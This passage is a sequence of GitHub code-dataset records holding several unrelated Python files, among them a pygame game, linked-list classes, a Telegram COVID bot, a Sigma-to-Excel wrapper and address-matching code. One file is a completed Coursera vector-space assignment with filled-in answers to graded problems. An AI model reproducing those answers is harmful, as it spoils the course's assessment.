sprite, height, side=1, speed=1.0):\n self.alive = True\n self.sprite = sprite\n self.width = self.sprite.get_width()\n self.height = self.sprite.get_height()\n self.side = side\n self.speed = speed * 0.1\n self.pos_y = height\n \n if side == 1:\n self.pos_x = -self.width * 0.5\n else:\n self.pos_x = self.screen.get_width() + self.width * 0.5\n \n self.hitbox = pg.Rect(self.pos_x - 0.5 * self.width + self.COLLISION_MARGIN,\n self.pos_y - 0.5 * self.height + self.COLLISION_MARGIN,\n self.width - 2 * self.COLLISION_MARGIN,\n self.height - 2 * self.COLLISION_MARGIN)\n \n \n def update(self, delta):\n \"\"\" Update the state of the element\n should be called every frame\n\n Parameters\n ----------\n delta: float\n elapsed time since last frame (in milliseconds)\n \"\"\"\n\n if not self.alive:\n return\n\n self.pos_x += self.side * self.speed * delta\n self.hitbox.x = self.pos_x - 0.5 * self.width + self.COLLISION_MARGIN\n \n # Disable obstacle when out of screen\n if self.pos_x > self.screen.get_width() + self.width or self.pos_x < -self.width:\n self.alive = False\n \n \n def draw(self):\n if self.alive:\n self.screen.blit(self.sprite, (self.pos_x - 0.5 * self.width, self.pos_y - 0.5 * self.height))\n # Hitbox debug drawing\n #pg.draw.rect(self.screen, (0, 255, 0), self.hitbox)\n\n\n\nclass Bonus():\n \"\"\" A bonus element that the player should catch\n Spawned on the river, can collide with the player\n \"\"\"\n\n SPRITES_PATH = [\"tremplin_0.png\", \"tremplin_1.png\"]\n LIFETIME = 5.0 # Lifetime of the bonus (in seconds)\n\n def __init__(self, screen):\n self.screen = screen\n self.alive = False\n self.sprites = [pg.image.load(os.path.join(Console.dir_img, filename)) for filename in self.SPRITES_PATH]\n self.width = self.sprites[0].get_width()\n self.height = self.sprites[0].get_height()\n self.lifetime = 0\n\n\n def spawn(self, height):\n self.alive = True\n # self.sprite = sprite\n # self.size = self.sprite.get_size()\n self.pos_y = height\n self.lifetime = self.LIFETIME * 1000\n self.counter = 0\n center = self.screen.get_width() * 0.5\n self.hitbox = pg.Rect(center-25, self.pos_y - self.height*0.5, 50, self.height)\n\n\n def update(self, delta):\n \"\"\" Update the state of the element\n should be called every frame\n\n Parameters\n ----------\n delta: float\n elapsed time since last frame (in milliseconds)\n \"\"\"\n if not self.alive:\n return\n \n self.lifetime -= delta\n if self.lifetime <= 0:\n self.alive = False\n\n\n def draw(self):\n if not self.alive:\n return\n \n center = self.screen.get_width() * 0.5\n\n self.counter += 1\n sprite = self.sprites[(self.counter // 6) % 2]\n \n self.screen.blit(sprite, (center - self.width * 0.5, self.pos_y - self.height * 0.5))\n \n # Hitbox debug drawing\n #pg.draw.rect(self.screen, (0,255,0), self.hitbox)\n","repo_name":"autonabee/fit_and_fun","sub_path":"game_entities.py","file_name":"game_entities.py","file_ext":"py","file_size_in_byte":8427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27274960250","text":"\nimport re\n\ndef find_kdirection(klines):\n ## as for 2 lines: gives one direction\n return 0\n\ndef read_kpoints(kpoints):\n with open(kpoints, 'r') as f:\n lines = f.readlines()\n npoints = int(lines[1].strip())\n klines = lines[4:]\n check_kline = 0\n nkline = 0\n for line in klines:\n if re.search('0.', line):\n if check_kline == 0:\n check_kline = 1\n elif check_kline == 1:\n check_kline = 0\n nkline += 1\n continue\n total_nk = npoints * nkline\n return npoints, nkline\n \n","repo_name":"hopefulp/sandbox","sub_path":"pyvasp/mod_kpoints.py","file_name":"mod_kpoints.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71704969743","text":"class Node(object):\n #Represents a singly linked node\n def __init__(self, data=None, next=None):\n \"\"\"Initiates a Node with a default next of None.\"\"\"\n self.data = data\n self.next = next\n\n def __str__(self):\n return str(self.data)\n\n def __eq__(self, other):\n if self is other: return True\n if type(self)!=type(other): return False\n if self.data!=other.data: return False\n if self.next is None: return other is None\n\nclass TwoWayNode(Node):\n #2-way node object for doubly linked list\n\n def __init__(self, data=None, previous=None, next=None):\n Node.__init__(self, data, next) #calling parent class constructor\n self.previous = previous\n\n\nclass Singly_linked_list(object):\n def __init__(self, head=None, tail=None):\n self.head = head\n self.tail = tail\n\n def __add_tail__(self, new_value):\n new_node = Node(new_value)\n if self.head == None:\n self.head = new_node\n self.head.next = self.tail\n else:\n self.tail.next = new_node\n self.tail = new_node\n return\n\n def __return_all_nodes__(self):\n ret = ()\n if self.head == None:\n return ret\n if self.head is self.tail:\n ret+=(self.head.data,)\n return ret\n else:\n current = self.head\n ret+=(current.data,)\n current = current.next\n #start with the one after head\n while current != None:\n ret+=(current.data,)\n current = current.next\n return ret\n\n\nclass DoublyLinkedList(Singly_linked_list):\n\n def __init__(self):\n SinglyLinkedList.__init__(self)\n\n def __str__(self):\n return \"<=>\".join([str(i) for i in self])\n\n def add2Head (self, item):\n oldhead=self._head\n self._head = TwoWayNode(item, None, self._head)\n if oldhead == None:\n self._tail = self._head\n else:\n oldhead.previous = self._head\n\n def add2Tail(self, item):\n self._tail.next=TwoWayNode(item, None, self._tail)\n self._tail=self._tail.next\n if oldtail==None:\n self._head = self._tail\n","repo_name":"Yanagar1/interview_code","sub_path":"Python/nodes_linked_lists.py","file_name":"nodes_linked_lists.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38321335048","text":"#!/usr/bin/python3\nimport os\nimport time\n\nimport redis\n\n\ndef check_redis_connection(title_message, error_message):\n print(title_message + '...')\n conn = redis.StrictRedis(host=redis_host, port=redis_port)\n try:\n conn.ping()\n except Exception as e:\n print(error_message)\n print(e)\n return False\n finally:\n pass\n return True\n\n\ndef connect_to_redis():\n return check_redis_connection(\"Connecting to Redis\", \"Connection not available yet\")\n\n\ndef wait_for_redis():\n print(\"Wait for Redis ...\")\n number_of_successes = 0\n number_of_failures = 0\n while number_of_successes < number_of_tries:\n if connect_to_redis():\n number_of_successes += 1\n else:\n number_of_failures += 1\n number_of_successes = 0\n time.sleep(sleep_seconds)\n print(\"\\tFailures:{},\\tSuccesses:{}\".format(number_of_failures, number_of_successes))\n\n\nprint(\"Reading environment variables\")\nredis_host = os.environ.get('CEDAR_REDIS_PERSISTENT_HOST')\nredis_port = int(os.environ.get('CEDAR_REDIS_PERSISTENT_PORT'))\n\nnumber_of_tries = 5\nsleep_seconds = 1\n\nprint(\"---- Server info ----\")\nprint(\"Redis server host :\" + str(redis_host))\nprint(\"Redis server port :\" + str(redis_port))\n\nprint(\"Wait for Redis server to be available\")\n\nwait_for_redis()\n","repo_name":"metadatacenter/cedar-docker-build","sub_path":"cedar-microservice/scripts/wait-for-redis.py","file_name":"wait-for-redis.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9667890740","text":"import configparser\nimport copy\nimport logging\nimport time\nimport urllib.request\n\nfrom telegram import ParseMode\nfrom telegram.ext import Updater, CommandHandler\nfrom pageparser import MyHTMLParser\nfrom safe_scheduler import SafeScheduler\n\n# create cfg parser\nconfig = configparser.ConfigParser()\nconfig.read('settings.ini')\n\n\n# global infrastructure\nupdate_table = {}\nmessage = \"\"\ntable = None\nold_table = None\nscheduler = SafeScheduler(reschedule_on_failure=True)\n\n# logging\nlogger = logging.getLogger()\nlogger.setLevel(config['DEFAULT']['LogLevel'])\nfh = logging.FileHandler('covidbot.log')\nfh.setLevel(config['DEFAULT']['LogLevel'])\nch = logging.StreamHandler()\nch.setLevel(config['DEFAULT']['LogLevel'])\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\n# read page content from configured url\ndef get_site_content():\n logger.debug(\"Get site content\")\n fp = urllib.request.urlopen(config['DEFAULT']['PageUrl'], timeout=60)\n page_content = fp.read()\n page_str = page_content.decode(\"utf8\")\n fp.close()\n logger.debug(\"Get site content finished\")\n\n global table, old_table\n\n if page_str:\n parser = MyHTMLParser()\n parser.feed(page_str)\n title, table = parser.get_result()\n\n logger.debug(str(table))\n logger.debug(str(old_table))\n\n if str(table) != str(old_table):\n logger.debug(\"Data has been updated\")\n global message\n message = get_message(title, table)\n old_table = copy.deepcopy(table)\n update_table.clear()\n else:\n logger.debug(\"Data has not changed\")\n\n parser.close()\n else:\n logger.debug(\"Page content was not available, try again next time\")\n\n\n\ndef get_message(title, table):\n header = \"\"\n data = \"\"\n for hstr in title:\n header += hstr + \" | \"\n for j, tdata in enumerate(table):\n for i, d in enumerate(tdata):\n if j < len(table)-1:\n if i < 2:\n data += \"*\" + d + \"* | \"\n elif i == len(tdata)-1:\n data += \"`\" + d + \"` | \"\n else:\n data += d + \" | \"\n else:\n data += \"*\" + d + \"* | \"\n\n data += \"\\n\"\n return header + \"\\n\" + data\n\n\ndef error(update, context):\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef check_for_update(context):\n chat_id = context.job.context\n update_status = update_table.get(chat_id)\n\n if update_status is True or update_status is None:\n context.bot.send_message(chat_id, text=message, parse_mode=ParseMode.MARKDOWN)\n update_table.update({chat_id: False})\n\n\ndef start(update, context):\n update.message.reply_text(\n 'Willkommen beim CovidHessenBot. In diesem Chat werden ab jetzt die aktuellen Covid Zahlen in Hessen mitgeteilt')\n\n chat_id = update.message.chat_id\n update_table.update({chat_id: True})\n try:\n due = int(config['DEFAULT']['ChatJobTimer']) * 60\n if 'job' in context.chat_data:\n old_job = context.chat_data['job']\n old_job.schedule_removal()\n\n new_job = context.job_queue.run_repeating(check_for_update, due, first=0, context=chat_id)\n context.chat_data['job'] = new_job\n\n update.message.reply_text('')\n\n except (IndexError, ValueError):\n update.message.reply_text('Fehler beim Starten des Bots. Versuchen Sie es erneut.')\n\n\ndef cancel(update, context):\n user = update.message.from_user\n logger.info(\"User %s canceled the conversation.\", user.first_name)\n\n # remove job\n if 'job' not in context.chat_data:\n update.message.reply_text('Keine aktiven Jobs vorhanden.')\n return\n\n job = context.chat_data['job']\n job.schedule_removal()\n del context.chat_data['job']\n\n update.message.reply_text('Job erfolgreich gelöscht. Es werden keine weiteren Nachrichten gesendet')\n\n\ndef get_covid_data():\n get_site_content()\n\n\ndef main():\n updater = Updater(config['DEFAULT']['Token'], use_context=True)\n updater.logger = logger\n dp = updater.dispatcher\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(CommandHandler(\"cancel\", cancel))\n dp.add_handler(CommandHandler(\"stop\", cancel))\n dp.add_error_handler(error)\n get_covid_data()\n\n updater.start_polling()\n scheduler.every(int(config['DEFAULT']['ScrapeJobTimer'])).minutes.do(get_covid_data)\n\n\nif __name__ == \"__main__\":\n main()\n\n while True:\n scheduler.run_pending()\n time.sleep(1)\n","repo_name":"daill/covidhessenbot","sub_path":"covidhessenbot.py","file_name":"covidhessenbot.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73572739021","text":"# version code 565cc389e900+\ncoursera = 1\n# Please fill out this stencil and submit using the provided submission script.\n\nfrom vec import *\nfrom itertools import product\nfrom GF2 import one\n\n\n## 1: (Problem 1) Vector Comprehension and Sum\ndef vec_select(veclist, k):\n '''\n >>> D = {'a','b','c'}\n >>> v1 = Vec(D, {'a': 1})\n >>> v2 = Vec(D, {'a': 0, 'b': 1})\n >>> v3 = Vec(D, { 'b': 2})\n >>> v4 = Vec(D, {'a': 10, 'b': 10})\n >>> vec_select([v1, v2, v3, v4], 'a') == [Vec(D,{'b': 1}), Vec(D,{'b': 2})]\n True\n '''\n l=[]\n for e in veclist:\n if e[k]==0:\n l.append(e)\n return l\n\ndef vec_sum(veclist, D):\n '''\n >>> D = {'a','b','c'}\n >>> v1 = Vec(D, {'a': 1})\n >>> v2 = Vec(D, {'a': 0, 'b': 1})\n >>> v3 = Vec(D, { 'b': 2})\n >>> v4 = Vec(D, {'a': 10, 'b': 10})\n >>> vec_sum([v1, v2, v3, v4], D) == Vec(D, {'b': 13, 'a': 11})\n True\n '''\n output_dict = {}\n for d in D:\n val = 0\n for e in veclist:\n if d in e.f:\n val += e.f[d]\n output_dict[d]= val\n return Vec(D,output_dict)\n\ndef vec_select_sum(veclist, k, D):\n '''\n >>> D = {'a','b','c'}\n >>> v1 = Vec(D, {'a': 1})\n >>> v2 = Vec(D, {'a': 0, 'b': 1})\n >>> v3 = Vec(D, { 'b': 2})\n >>> v4 = Vec(D, {'a': 10, 'b': 10})\n >>> vec_select_sum([v1, v2, v3, v4], 'a', D) == Vec(D, {'b': 3})\n True\n '''\n return vec_sum(vec_select(veclist, k), D)\n\n\n\n## 2: (Problem 2) Vector Dictionary\ndef scale_vecs(vecdict):\n '''\n >>> v1 = Vec({1,2,4}, {2: 9})\n >>> v2 = Vec({1,2,4}, {1: 1, 2: 2, 4: 8})\n >>> result = scale_vecs({3: v1, 5: v2})\n >>> len(result)\n 2\n >>> [v in [Vec({1,2,4},{2: 3.0}), Vec({1,2,4},{1: 0.2, 2: 0.4, 4: 1.6})] for v in result]\n [True, True]\n '''\n return [vecdict[k]/k for k in vecdict.keys()]\n\n\nfrom GF2 import one\n\n## 3: (Problem 3) Constructing span of given vectors over GF(2)\ndef GF2_span(D, S):\n '''\n >>> from GF2 import one\n >>> D = {'a', 'b', 'c'}\n >>> GF2_span(D, {Vec(D, {'a':one, 'c':one}), Vec(D, {'c':one})}) == {Vec({'a', 'b', 'c'},{}), Vec({'a', 'b', 'c'},{'a': one, 'c': one}), Vec({'a', 'b', 'c'},{'c': one}), Vec({'a', 'b', 'c'},{'a': one})}\n True\n >>> GF2_span(D, {Vec(D, {'a': one, 'b': one}), Vec(D, {'a':one}), Vec(D, {'b':one})}) == {Vec({'a', 'b', 'c'},{'a': one, 'b': one}), Vec({'a', 'b', 'c'},{'b': one}), Vec({'a', 'b', 'c'},{'a': one}), Vec({'a', 'b', 'c'},{})}\n True\n >>> S={Vec({0,1},{0:one}), Vec({0,1},{1:one})}\n >>> GF2_span({0,1}, S) == {Vec({0, 1},{0: one, 1: one}), Vec({0, 1},{1: one}), Vec({0, 1},{0: one}), Vec({0, 1},{})}\n True\n >>> S == {Vec({0, 1},{1: one}), Vec({0, 1},{0: one})}\n True\n '''\n return [sum([a*v for (a,v) in zip(i,S)]) for i in product({0,one},repeat=len(S))] if len(S) !=0 else Vec(D,{})\n\n\n\n## 4: (Problem 4) Is it a vector space 1\n# Answer with a boolean, please.\nis_a_vector_space_1 = False\n\n\n\n## 5: (Problem 5) Is it a vector space 2\n# Answer with a boolean, please.\nis_a_vector_space_2 = True\n\n\n\n## 6: (Problem 6) Is it a vector space 3\n# Answer with a boolean, please.\nis_a_vector_space_3 = False\n\n\n\n## 7: (Problem 7) Is it a vector space 4\n# Answer with a boolean, please.\nis_a_vector_space_4a = True\nis_a_vector_space_4b = False\n\n","repo_name":"etrigger/matrix-2","sub_path":"P21VectorSpaceProblems/The_Vector_Space_problems_solved.py","file_name":"The_Vector_Space_problems_solved.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6344904153","text":"# Day 10: sigma to excel\r\nimport re, time, pandas, subprocess, argparse, sys, yaml\r\n# Try to add all options of file command\r\nsigma_compiler = '.\\\\tools\\\\sigmac'\r\nargs99 = argparse.ArgumentParser(description = 'Convert Sigma rules into SIEM signatures', add_help=False)\r\nargs99.add_argument('inputs', type = str, nargs = '*', help = 'Sigma input files (\\'-\\' for stdin)')\r\nargs99.add_argument('-h', '--help', action='store_true', help = 'show this help message and exit')\r\nargs99.add_argument('-r', '--recurse', action='store_true', help = 'Use directory as input')\r\nargs99.add_argument('-t', '--target', type = str, metavar = '{arcsight,elastalert-dsl,es-dsl,hedera,carbonblack,splunk,ala-rule,mdatp,qradar,fireeye-helix,fortisiem,fieldlist,sentinel-rule,xpack-watcher,grep,sumologic-cse-rule,devo,kibana,limacharlie,chronicle,arcsight-esm,es-qs,es-qs-lr,qualys,stix,kibana-ndjson,sqlite,uberagent,logiq,splunkdm,streamalert,splunkxml,athena,graylog,powershell,sumologic,netwitness,csharp,netwitness-epl,hawk,ee-outliers,dnif,ala,es-rule-eql,logpoint,datadog-logs,es-eql,humio,sysmon,sumologic-cse,lacework,elastalert,sql,es-rule,crowdstrike,opensearch-monitor}', help = 'Output target format')\r\nargs99.add_argument('-l', '--lists', '--target-list', action='store_true', help = 'List available output target formats')\r\nargs99.add_argument('-L', '--lists-file-after-date', type = str, metavar = 'DATE', help = 'List yml files which are modified/created after the date')\r\nargs99.add_argument('-c', '--config', type = str, metavar = 'CONFIG', help = 'Configurations with field name and index mapping for target environment')\r\nargs99.add_argument('-o', '--output', type = str, metavar = 'OUTPUT', help = 'Output file or filename prefix if multiple files are generated')\r\nargs99.add_argument('-of', '--output-fields', type = str, metavar = 'OUTPUT-FIELDS', help = 'Enhance your output with additional fields from the Sigma rule')\r\nargs99.add_argument('-oF', '--output-format', type = str, metavar = '{json,yaml}', help = 'Specify output format')\r\nargs99.add_argument('--print0', action='store_true', help = 'Delimit results by NUL-character')\r\nargs99.add_argument('-O', '--backend-option', type = str, metavar = 'BACKEND_OPTION', help = 'Options and switches that are passed to the backend. NOTE: This option is ignored from January 1, 2023.')\r\nargs99.add_argument('-d', '--defer-abort', action='store_true', help = 'Don\\'t abort on parse or conversion errors, proceed with next rule')\r\nargs99.add_argument('-I', '--ignore-backend-errors', action='store_true', help = 'Only return error codes for parse errors and ignore errors for rules that cause backend errors')\r\nargs99.add_argument('-v', '--verbose', action='store_true', help = 'Be verbose')\r\nargs99.add_argument('-D', '--debug', action='store_true', help = 'Debugging output')\r\n# Check if sigmac in tools exists or not\r\ntry:\r\n main_file = open(sigma_compiler, 'r')\r\n main_file.close()\r\nexcept FileNotFoundError:\r\n print('Error!')\r\n exit()\r\nargs999 = args99.parse_args()\r\nargs998 = sys.argv\r\nargs997 = ['python']\r\nargs998[0] = sigma_compiler\r\nfor abxyz in args998:\r\n args997.append(abxyz)\r\n# If sample command meets i.e. splunk database, xlsx output; run in 10-minute loop, otherwise run once\r\nif (len(re.findall('-t', ''.join(args997))) > 0 or len(re.findall('--target', ''.join(args997))) > 0) and len(re.findall('splunk', ''.join(args997))) > 0 and (len(re.findall('-c', ''.join(args997))) > 0 or len(re.findall('--config', ''.join(args997))) > 0) and (len(re.findall('-o', ''.join(args997))) > 0 or len(re.findall('--output', ''.join(args997))) > 0) and len(re.findall('.xlsx', ''.join(args997))) > 0:\r\n a888 = 0\r\n while a888 == 0:\r\n a888 = 0\r\n output_file_name = args997[len(args997) - 1]\r\n args997.pop(len(args997) - 1)\r\n args997.pop(len(args997) - 1)\r\n file_name = args997[len(args997) - 1]\r\n if len(re.findall(r\"\\\\\", args997[len(args997) - 1])) > 0:\r\n file_name4 = file_name.split(\"\\\\\")\r\n file_name2 = file_name4[len(file_name4) - 1]\r\n elif len(re.findall(\"/\", args997[len(args997) - 1])) > 0:\r\n file_name4 = file_name.split(\"/\")\r\n file_name2 = file_name4[len(file_name4) - 1]\r\n else:\r\n file_name2 = file_name\r\n ated_string = subprocess.run(args997, shell=True, stdout=subprocess.PIPE).stdout.decode('utf8')\r\n ated_string = ated_string.replace(\"\\\"\", \"\\\\\\\"\")\r\n ated_string = ated_string.replace(\"\\\\\", \"\\\\\\\\\")\r\n ated_string = ated_string.replace(\"\\\\\\\\\", \"\\\\\")\r\n try:\r\n config_file = open(args997[len(args997) - 2], \"r\")\r\n yml_file_to_read = open(file_name, \"r\")\r\n yml_cursor = yaml.safe_load(yml_file_to_read)\r\n config_file.close()\r\n yml_file_to_read.close()\r\n except FileNotFoundError:\r\n print(\"Error!\")\r\n exit()\r\n yml_database = pandas.json_normalize(yml_cursor)\r\n test_dict68 = '[{\\\"File Name\\\":\\\"' + file_name2 + '\\\",\\\"Title\\\":\\\"' + ''.join(yml_database.loc[0]['title']) + '\\\",\\\"Description\\\":\\\"' + ''.join(yml_database.loc[0]['description']) + '\\\",\\\"Technique\\\":\\\"' + ''.join(yml_database.loc[0]['falsepositives']) + '\\\",\\\"Query\\\":\\\"' + ated_string + '\\\"}]'\r\n data_frame_to_export_to_excel = pandas.read_json(test_dict68, orient=\"records\")\r\n try:\r\n data_frame_to_export_to_excel.to_excel(output_file_name,index=None, header=True)\r\n except PermissionError:\r\n print(\"Error!\")\r\n time.sleep(600)\r\n continue \r\n time.sleep(600)\r\nelse:\r\n print(subprocess.run(args997, shell=True, stdout=subprocess.PIPE).stdout.decode('utf8'))","repo_name":"hienq-le/python-assignment-day10","sub_path":"sigma2excel.py","file_name":"sigma2excel.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7677691486","text":"# Essa função recebe um dado e um tipo como parâmetros e converte o dado para o tipo especificado.\ndef converte_dados(dado, tipo):\n dado_convertido = dado\n if tipo == int:\n dado_convertido = int(dado)\n elif tipo == float:\n dado_convertido = float(dado)\n elif tipo == bool:\n dado_convertido = False\n if dado == 'True':\n dado_convertido = True\n return dado_convertido\n\n\n# Essa função carrega um arquivo de dados, realiza o processamento necessário e retorna os dados em uma estrutura de lista de dicionários.\ndef carrega_arquivo(nome_arquivo, separador, tipos):\n\n f = open(nome_arquivo, 'r')\n linhas = f.readlines()\n\n cabecalho = linhas[0].replace('\\n', '').split(separador)\n\n alunos = []\n\n # percorre as linhas do arquivo\n for linha in linhas[1:]:\n dados_linha = linha.replace('\\n', '').split(separador)\n \n aluno = {}\n\n # percorre as colunas de cada linha\n for coluna, tipo in enumerate(tipos):\n\n campo = cabecalho[coluna]\n\n aluno[campo] = converte_dados(dados_linha[coluna], tipo)\n \n alunos.append(aluno)\n return alunos, cabecalho\n\n\n\n#Essa função recebe o nome de um arquivo, um separador e os dados a serem salvos. A função cria um novo arquivo com o nome especificado e escreve os dados nele.\ndef salvar_arquivo(nome_arquivo, separador, dados):\n f = open(nome_arquivo, 'w')\n\n cabecalho_str = ''\n\n cabecalho = list(dados[0].keys())\n\n for coluna in cabecalho:\n cabecalho_str += coluna\n if coluna != cabecalho[-1]:\n cabecalho_str += separador\n cabecalho_str += '\\n'\n\n f.write(cabecalho_str)\n\n for index, linha in enumerate(dados):\n linha_str = ''\n for coluna, valor in linha.items():\n linha_str += str(valor)\n if coluna != cabecalho[-1]:\n linha_str += separador\n if index < len(dados) - 1:\n linha_str += '\\n'\n f.write(linha_str)\n \n f.close()","repo_name":"GHFeltes/projeto_processador_de_dados","sub_path":"arquivos.py","file_name":"arquivos.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29016533502","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 12 14:45:07 2017\r\n\r\n@author: k26609\r\n\"\"\"\r\n\r\nimport reference\r\nfrom string import punctuation\r\nimport pandas as pd\r\nimport time\r\nimport numpy as np\r\nfrom fuzzywuzzy import fuzz\r\nfrom fuzzywuzzy import process\r\n\r\nupsstore = pd.read_csv(r\"C:\\Users\\k26609\\Desktop\\FIRM address match POC\\upsstore_05-23-17.csv\", dtype={\"Store Num\": str, \"Zip Code\": str, \"County\": str})\r\nregus = pd.read_csv(r\"C:\\Users\\k26609\\Desktop\\FIRM address match POC\\regus_12-02-16.csv\", dtype={\"Store Number\": str, \"Zip Code\": str, \"County\": str})\r\nannex_brands = pd.read_csv(r\"C:\\Users\\k26609\\Desktop\\FIRM address match POC\\annex_brands_03-18-17.csv\", dtype={\"Store Number\": str, \"Zip Code\": str, \"County\": str})\r\n\r\n#encoding='latin1', encoding='iso-8859-1' or encoding='cp1252'\r\nfirm = pd.read_csv(r\"C:\\Users\\k26609\\Desktop\\FIRM address match POC\\firm.csv\",encoding='iso-8859-1', dtype={\"FIRM_CRD_NB\": str, \"BD_MAIN_PSTL_CODE_TX\": str, \"BD_MAIL_PSTL_CODE_TX\": str})\r\n\r\n\r\n# data validate\r\n\"\"\"\r\ndup1 = set(upsstore['Store Num']).intersection(set(regus['Store Number']))\r\ndup2 = set(upsstore['Store Num']).intersection(set(annex_brands['Store Number']))\r\ndup3 = set(annex_brands['Store Number']).intersection(set(regus['Store Number']))\r\nif dup1 or dup2 or dup3:\r\n print('Duplicate Store Numbers exist')\r\nelse:\r\n print('Store Numbers are unique')\r\n\r\n\r\nfor a in upsstore['Zip Code'].append(regus['Zip Code']).append(annex_brands['Zip Code']).append(firm['BD_MAIN_PSTL_CODE_TX']).append(firm['BD_MAIL_PSTL_CODE_TX']):\r\n if len(str(a)) < 5 or a is None:\r\n if not math.isnan(a):\r\n print(a)\r\n# else:\r\n# print('good zip')\r\n\r\nfor a in upsstore['State'].append(regus['State']).append(annex_brands['State']).append(firm['BD_MAIN_STATE_CD']).append(firm['BD_MAIL_STATE_CD']):\r\n if len(str(a)) != 2 and not math.isnan(a):\r\n print(a)\r\n# else:\r\n# print('good state code')\r\n\r\nfor a in upsstore['Country Code'].append(regus['Country Code']).append(annex_brands['Country Code']).append(firm['BD_MAIN_CNTRY_CD']).append(firm['BD_MAIL_CNTRY_CD']):\r\n if len(str(a)) != 2 and a !='USA':\r\n if not math.isnan(a):\r\n print(a)\r\n# else:\r\n# print('good Country Code')\r\nall_country_code = set(list(upsstore['Country Code'].append(regus['Country Code']).append(annex_brands['Country Code']).append(firm['BD_MAIN_CNTRY_CD']).append(firm['BD_MAIL_CNTRY_CD'])))\r\nprint(all_country_code)\r\n# all_country_code = {nan, 'PR', 'US', 'CA', 'USA'}\r\n\r\nfor a in upsstore['County'].append(regus['County']).append(annex_brands['County']):\r\n if a is None or len(str(a)) < 1:# or type(a)==float:\r\n print(a)\r\n# else:\r\n# print('good County')\r\n\"\"\"\r\n\r\n# data pre-processing and combining \r\n#df=df.rename(columns = {'old_name':'new_name'})\r\n# for upsstore:\r\nupsstore['StoreNumber'] = 'ups_' + upsstore['Store Num']\r\nupsstore = upsstore.rename(columns = {'Store Num':'Original Store Number'})\r\nupsstore['Address_upper'] = upsstore['Address'].apply(lambda x: str(x).upper().strip()) \r\nupsstore['Zip'] = upsstore['Zip Code'].apply(lambda x: x[:5].strip()) \r\nupsstore['Country Code'] = upsstore['Country Code'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\nupsstore['State'] = upsstore['State'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\n\r\n\r\n# for regus:\r\nregus['StoreNumber'] = 'regus_' + regus['Store Number']\r\nregus = regus.rename(columns = {'Store Number':'Original Store Number'})\r\nregus['Address_upper'] = regus['Address'].apply(lambda x: str(x).upper().strip()) + ' ' + regus['Address Line 2'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else '') \r\nregus['Zip'] = regus['Zip Code'].apply(lambda x: x[:5].strip()) \r\nregus['Country Code'] = regus['Country Code'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\nregus['State'] = regus['State'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\n\r\n\r\n# for annex_brands:\r\nannex_brands['StoreNumber'] = 'annex_' + annex_brands['Store Number']\r\nannex_brands = annex_brands.rename(columns = {'Store Number':'Original Store Number'})\r\nannex_brands['Address_upper'] = annex_brands['Address'].apply(lambda x: str(x).upper())\r\nannex_brands['Zip'] = annex_brands['Zip Code'].apply(lambda x: x[:5].strip()) \r\nannex_brands['Country Code'] = annex_brands['Country Code'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\nannex_brands['State'] = annex_brands['State'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else 'Missing') \r\n\r\n\r\n# for firm:\r\nfirm['Zip_main'] = firm['BD_MAIN_PSTL_CODE_TX'].apply(lambda x: x[:5].strip() if not pd.isnull(x) else 'Missing')\r\nfirm['Zip_mail'] = firm['BD_MAIL_PSTL_CODE_TX'].apply(lambda x: x[:5].strip() if not pd.isnull(x) else 'Missing')\r\nfirm['CNTRY_CD_main'] = firm['BD_MAIN_CNTRY_CD'].apply(lambda x: x[:2].strip() if not pd.isnull(x) else 'Missing') \r\nfirm['CNTRY_CD_mail'] = firm['BD_MAIL_CNTRY_CD'].apply(lambda x: x[:2].strip() if not pd.isnull(x) else 'Missing') \r\n\r\n\r\ndef strip_punctuation_country(s):\r\n return ''.join(c for c in s if c not in punctuation)\r\n\r\nfor index, row in firm.iterrows():\r\n if row['CNTRY_CD_main'] == 'Missing' and not pd.isnull(row['BD_MAIN_CNTRY_NM']):\r\n country_names = strip_punctuation_country(row['BD_MAIN_CNTRY_NM']).split()\r\n if len(country_names) > 0:\r\n for cn in country_names:\r\n if cn in reference.addr_map_country:\r\n firm.loc[index, 'CNTRY_CD_main'] = reference.addr_map_country.get(cn)\r\n \r\n if row['CNTRY_CD_mail'] == 'Missing' and not pd.isnull(row['BD_MAIL_CNTRY_NM']):\r\n country_names = strip_punctuation_country(row['BD_MAIL_CNTRY_NM']).split()\r\n if len(country_names) > 0:\r\n for cn in country_names:\r\n if cn in reference.addr_map_country:\r\n firm.loc[index, 'CNTRY_CD_mail'] = reference.addr_map_country.get(cn)\r\n \r\nfirm['Address_upper_main'] = firm['BD_MAIN_STRT_1_NM'].apply(lambda x: str(x).upper().strip() if not pd.isnull(x) else '') + ' ' + firm['BD_MAIN_STRT_2_NM'].apply(lambda x: 